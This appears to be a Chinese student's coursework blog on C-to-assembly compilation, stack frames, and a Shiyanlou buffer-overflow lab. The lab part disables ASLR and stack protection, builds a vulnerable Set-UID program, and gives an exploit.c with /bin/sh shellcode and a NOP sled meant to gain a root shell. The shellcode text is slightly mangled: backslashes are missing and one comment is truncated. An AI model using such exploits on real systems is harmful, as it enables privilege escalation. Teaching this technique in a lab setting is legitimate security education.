20155302 课堂实践二

第四题

1 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码

int g(int x){
   return x+3;
}
int f(int x){
    int i = 学号后两位；
   return g(x)+i;
}
int main(void){
   return f(8)+1;
}

删除汇编代码中 . 开关的代码，提交f 函数的汇编代码截图，图中用矩形标出函数栈帧的形成和销毁的代码

解答：一开始课上很不理解什么是.开关，什么是函数栈帧的形成和销毁。
通过网络查找资料，了解了栈帧内容（此博客写的十分详细）：http://blog.csdn.net/jjiss318/article/details/7185802。

第五题

1 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码

int g(int x){
   return x+3;
}
int f(int x){
    int i = 学号后两位；
   return g(x)+i;
}
int main(void){
   return f(8)+1;
}

参考http://www.cnblogs.com/lxm20145215----/p/5982554.html，使用gdb跟踪汇编代码，在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况。提交照片，要有学号信息。

解答：在PC用的16位CPU 8086、8088中，寄存器的名字分别是AX(累加器)，BX(基址寄存器)，CX(计数寄存器)，DX(数据寄存器)，SP(堆栈指针)，BP(基址指针)，SI(源变址寄存器)，DI(目的变址寄存器)，IP(指令指针)，等等…… 这些寄存器除了从名字可以看得出来的用途以外，一部分寄存器也可以作为通用的一般数据寄存使用。具体每个寄存器的功能要与各种具体的指令关联起来才能理解清楚。在386以上的32位CPU中，这些寄存器扩展成了32位的，名字就是在原来16位的名字前面加一个字母E，变成了EAX，EBX，…………等等。

课下测试二

在自己的电脑中完成https://www.shiyanlou.com/courses/231缓冲区溢出漏洞实验

缓冲区溢出漏洞实验

初始设置

在安装好32位的C语言环境后进行初始设置

关闭地址空间随机化sudo sysctl -w kernel.randomize_va_space=0
因为Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键

设置zsh程序

为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

include <stdio.h>

int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
shellcode代码的汇编版本：

漏洞程序

把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：

  /* stack.c */
  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  
  int bof(char *str)
  {
  char buffer[12];
  
  /* The following statement has a buffer overflow problem */
  strcpy(buffer, str);
  
  return 1;
  }
  
  int main(int argc, char **argv)
  {
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly
");
  return 1;
  }

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

而 -z execstack 用于允许执行栈。

命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %e
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“x??x??x??x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main

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第四题

第五题

课下测试二

缓冲区溢出漏洞实验

初始设置

设置zsh程序

include <stdio.h>

漏洞程序

攻击程序

攻击结果